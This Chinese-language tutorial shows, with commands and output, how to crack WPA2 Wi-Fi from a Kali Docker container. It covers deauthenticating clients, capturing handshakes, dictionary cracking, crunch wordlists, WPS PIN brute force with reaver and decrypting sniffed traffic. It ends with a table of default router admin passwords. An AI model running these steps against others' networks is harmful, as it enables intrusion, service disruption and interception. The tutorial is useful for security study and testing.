使用Kali系统进行无线网络破解

0x00 前言

Kali是一款常用于渗透测试的Linux发行版,集成了较多的安全工具。本文尝试使用Docker安装Kali,并进行Wifi的破解工作。

本文仅做技术研究,请勿用于非法用途。

0x01 在Docker中安装Kali系统

Kali官方提供了Docker镜像:kalilinux/kali-last-release。但是这个镜像基本没有包含任何工具,如果要安装全部工具,镜像大小会超过4G。很明显,不是所有人都需要这么多工具。因此,用户可以根据用途,通过编写Dockerfile定制不同的Kali镜像。

对于Wifi破解,可以编写以下Dockerfile。

FROM kalilinux/kali-last-release

RUN apt update && apt install -y pciutils net-tools procps crunch wordlists aircrack-ng reaver

WORKDIR /root/workspace
$ sudo docker build -t kali .
$ sudo docker run -it --net="host" --privileged -v $(pwd)/workspace:/root/workspace kali
┌──(root㉿drunkdream-LB0)-[~/workspace]
└─#

运行时网络需要使用host模式,这样才能访问母机上的无线网卡,同时开启特权模式;为了数据可以持久化存储,可以将本地目录挂载到容器中。

后面所有的操作都是在此容器中进行。

0x02 Wifi密码破解

这里主要使用aircrack-ng系列命令进行Wifi密码破解。

  • 获取无线网卡列表
└─# airmon-ng                                                                                                  
Your kernel has module support but you don't have modprobe installed.
It is highly recommended to install modprobe (typically from kmod).
Your kernel has module support but you don't have modinfo installed.
It is highly recommended to install modinfo (typically from kmod).
Warning: driver detection without modinfo may yield inaccurate results.

PHY     Interface       Driver          Chipset

phy0    wlp0s20f3       iwlwifi         Intel Corporation Comet Lake PCH CNVi WiFi
  • 开启监听模式
└─# airmon-ng start wlp0s20f3

Your kernel has module support but you don't have modprobe installed.
It is highly recommended to install modprobe (typically from kmod).
Your kernel has module support but you don't have modinfo installed.
It is highly recommended to install modinfo (typically from kmod).
Warning: driver detection without modinfo may yield inaccurate results.


PHY     Interface       Driver          Chipset

phy0    wlp0s20f3       iwlwifi         Intel Corporation Comet Lake PCH CNVi WiFi
                (mac80211 monitor mode vif enabled for [phy0]wlp0s20f3 on [phy0]wlp0s20f3mon)
                (mac80211 station mode vif disabled for [phy0]wlp0s20f3)

此时母机系统中已经无法看到这个无线网卡了,相反多了一个wlp0s20f3mon设备。

  • 扫描无线网络

此时的网卡名需要在后面加上mon

└─# airodump-ng wlp0s20f3mon
Warning: Detected you are using a non-UNICODE terminal character encoding.

 CH 11 ][ Elapsed: 24 s ][ 2022-05-22 15:36                                                                    

 BSSID              PWR  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID                               

 74:CF:00:DA:F4:40  -11       15        0    0   2  130   WPA2 CCMP   PSK  CMCC-X5qG                         
 8C:53:C3:C8:16:E6  -13       18        4    0   1  130   WPA2 CCMP   PSK  Xiaomi_16E4

通过这个命令,可以获取到附近的Wifi列表。

  • 抓取握手数据包

用法: airodump-ng -c <无线信道> --bssid <目标无线AP的硬件地址> -w <扫描结果保存文件名> <处于监听模式的网卡名称>

└─# airodump-ng -c 2 --bssid 74:CF:00:DA:F4:40 -w dump wlp0s20f3mon
 CH  2 ][ Elapsed: 18 s ][ 2022-05-22 16:04 ][ WPA handshake: 74:CF:00:DA:F4:40

 BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID                           

 74:CF:00:DA:F4:40  -13 100      215       15    0   2  130   WPA2 CCMP   PSK  CMCC-X5qG                      

 BSSID              STATION            PWR   Rate    Lost    Frames  Notes  Probes                             

 74:CF:00:DA:F4:40  1C:2A:DB:0E:D5:AC  -29   6e- 6e  1921    478     EAPOL  drunkdream

使用这条命令可以获取连接到指定Wifi的客户端列表。当抓取到握手包时,会提示WPA handshake: 74:CF:00:DA:F4:40这样的字符串,就可以停止数据抓取了。此时,数据包会保存到当前目录下:

# ls -l | grep dump
-rwxrwxrwx 1 1000 1000      225870 May 22 23:30 dump-01.cap
-rwxrwxrwx 1 1000 1000         883 May 22 23:30 dump-01.csv
-rwxrwxrwx 1 1000 1000         601 May 22 23:30 dump-01.kismet.csv
-rwxrwxrwx 1 1000 1000        7330 May 22 23:30 dump-01.kismet.netxml
-rwxrwxrwx 1 1000 1000       92078 May 22 23:30 dump-01.log.csv
  • 让客户端掉线重连

如果客户端一直正常连接,是很难抓取到握手包的。此时需要将客户端踢下线:

用法: aireplay-ng -<攻击模式(0)> <攻击次数(10)> -a <无线AP硬件地址> -c <用户设备硬件地址> <处于监听模式的网卡名称>

└─# aireplay-ng -02 -a 74:CF:00:DA:F4:40 -c 1C:2A:DB:0E:D5:AC wlp0s20f3mon
16:11:07  Waiting for beacon frame (BSSID: 74:CF:00:DA:F4:40) on channel 2
16:11:07  Sending 64 directed DeAuth (code 7). STMAC: [1C:2A:DB:0E:D5:AC] [ 0| 2 ACKs]                         
16:11:08  Sending 64 directed DeAuth (code 7). STMAC: [1C:2A:DB:0E:D5:AC] [ 4|197 ACKs]

执行此操作时需要保证上一步骤的命令同时在执行。

  • 停止监听网卡
└─# airmon-ng stop wlp0s20f3mon
  • 破解Wifi密码

抓取到握手包的cap文件后,就可以离线破解Wifi密码了。比如使用性能较好的机器或是分布式方式进行破解。

用法: aircrack-ng -w 密码字典 <包含握手包的cap文件>

└─# aircrack-ng -a2 -b 74:CF:00:DA:F4:40 -w password.dict dump-01.cap
Reading packets, please wait...
Opening dump-01.cap
Read 1734 packets.

1 potential targets


                         Aircrack-ng 1.6 

      [00:00:00] 3/5 keys tested (71.89 k/s) 

      Time left: 0 seconds                                      60.00%

                         KEY FOUND! [ 12345678 ]


      Master Key     : 1E 30 C1 07 43 14 93 F2 74 D3 6D 8E F3 E2 E1 07 
                       18 4C 47 01 1F 87 D6 87 A7 0A 49 01 C0 24 F5 A1 

      Transient Key  : C4 D6 53 3B DA C8 D4 23 D5 7D 82 EE 73 67 7D 3D 
                       6B 6B 04 BF B1 66 29 74 3E E1 CB FD 8C 90 6B E8 
                       DE 0D 8C 32 21 3E 8E F0 9D 1A 2B 76 BB 0E 3E FD 
                       EB 95 8C 7D C0 43 90 12 4E 3D A4 A5 F2 75 CF FF 

      EAPOL HMAC     : 21 B2 AA 47 4F AB E3 77 53 24 73 21 7E 06 78 10

password.dict是密码字典,能否破解出密码取决于密码是否包含在字典中。因此,对于过于复杂的密码,破解成功率会非常低。

  • 生成密码字典

为了提升破解成功率,需要根据具体场景生成有针对性的密码字典,例如:生日、手机号等。这里使用crunch命令来生成密码字典。

使用语法和参数:

crunch

[options]

min 设定最小字符串长度(必选)
max 设定最大字符串长度(必选)

-b 指定文件输出的大小,避免字典文件过大
-c 指定文件输出的行数,即包含密码的个数
-d 限制相同元素出现的次数
-e 定义停止字符,即到该字符串就停止生成
-f 调用库文件(/etc/share/crunch/charset.lst)
-i 改变输出格式,即aaa,aab -> aaa,baa
-I 通常与-t联合使用,表明该字符为实义字符
-m 通常与-p搭配
-o 将密码保存到指定文件
-p 指定元素以组合的方式进行
-q 读取密码文件,即读取pass.txt
-r 定义重某一字符串重新开始
-s 指定一个开始的字符,即从自己定义的密码xxxx开始
-t 指定密码输出的格式
-u 禁止打印百分比(必须为最后一个选项)
-z 压缩生成的字典文件,支持gzip,bzip2,lzma,7z

特殊字符
% 代表数字
^ 代表特殊符号
@ 代表小写字母
, 代表大写字符

使用示例——生成136开头的所有手机号:

└─# crunch 11 11 -t 136%%%%%%%% -o 136.txt
Crunch will now generate the following amount of data: 1200000000 bytes
1144 MB
1 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 100000000 

crunch:   7% completed generating output
crunch:  15% completed generating output
crunch:  22% completed generating output
crunch:  29% completed generating output
crunch:  36% completed generating output
crunch:  43% completed generating output
crunch:  51% completed generating output
crunch:  58% completed generating output
crunch:  65% completed generating output
crunch:  72% completed generating output
crunch:  79% completed generating output
crunch:  86% completed generating output
crunch:  93% completed generating output
crunch: 100% completed generating output

└─# ls -l | grep 136
-rwxrwxrwx 1 1000 1000  1200000000 May 23 15:16 136.txt

可以看到,生成的密码字典还是比较大的。

0x03 破解WPS PIN码

WPS(Wi-Fi Protected Setup,Wi-Fi保护设置)是由Wi-Fi联盟组织实施的认证项目,主要致力于简化无线网络的安全加密设置。在传统方式下,用户新建一个无线网络时,必须在接入点手动设置网络名(SSID)和安全密钥,然后在客户端验证密钥以阻止“不速之客”的闯入。Wi-Fi Protected Setup能帮助用户自动设置网络名(SSID)、配置最高级别的WPA2安全密钥,具备这一功能的无线产品往往在机身上设计有一个功能键,称为WPS按钮,用户只需轻轻按下该按钮或输入个人识别号码( PIN ),再经过两三步简单操作即可完成无线加密设置,同时在客户端和路由器之间建立起一个安全的连接。

PIN码是随机产生的8位数字。,可以通过穷举遍历的方式进行破解。PIN码的第8位数是一个校验和 ( checksum) , 因此黑客只需算出前7位数即可。这样,唯一的PIN码的数量降了一个级次变成了10的7次方,也就是说有1000万种变化。

在实施PIN的身份识别时,接入点(无线路由器)实际上是要找出这个PIN的前半部分(前4位)和后半部分(后3位)是否正确即可。当第一次PIN认证连接失败后 ,路由器会向客户端发回一个EAP-NACK信息,而通过该回应,攻击者将能够确定的PIN前半部或后半部是否正确。换句话说,黑客只需从7位数的PIN中找出一个4位数的PIN和一一个3位数的PIN。这样一来,级次又被降低,从1000万种变化,减少到11000 ( 10的4次方 + 10的3次方)种变化。因此,在实际破解尝试中,黑客最多只需试验11000次。

└─# reaver -i wlp0s20f3mon -b D0:C7:C0:DF:2A:74 -vv

不过目前这种攻击方法成功率非常低,只有少数非常老的路由器可能存在这个漏洞。

0x04 网络流量嗅探

首先使用airodump-ng命令抓取数据包(必须包含握手包才能解密);然后使用airdecap-ng命令解密数据包。

用法:airdecap-ng -e <Wifi SSID> -p <Wifi密码> <生成的.cap文件>

└─# airdecap-ng -e drunkdream -p 12345678 dump-01.cap
Total number of stations seen            4
Total number of packets read          8838
Total number of WEP data packets         0
Total number of WPA data packets      2905
Number of plaintext data packets         0
Number of decrypted WEP  packets         0
Number of corrupted WEP  packets         0
Number of decrypted WPA  packets      2228
Number of bad TKIP (WPA) packets         0
Number of bad CCMP (WPA) packets         0

解密出来的数据包保存在dump-01-dec.cap文件中,直接使用wireshark打开即可。不过这种情况与本地抓包相同,是不能解密https数据包的。如果想解密https数据包,可以考虑结合中间人攻击

0x05 破解路由器密码

获取到密码后就可以成功连接到Wifi了,此时如果登入路由器管理页面,会拿到更多的信息。

一般路由器的ip地址为:192.168.1.1192.168.10.1192.168.100.1等。实在不行还可以通过ip和端口扫描来判断。

获取到ip地址后就需要获取登录密码了。一些常见的默认密码如下:

路由器类型 账号 密码
移动光猫 CMCCAdmin aDm8H%MdA
联通光猫 CUAdmin CUAdmin
电信光猫 telecomadmin nE7jA%5m
华为 telecomadmin admintelecom

0x06 总结

破解无线网络密码的关键是抓取到握手包,然后使用字典进行离线爆破。因此字典中是否包含密码成了能否破解出密码的关键。

WPS是另一种破解WIFI的方法,但实际测试中发现成功率非常低。

0x07 参考文献

分享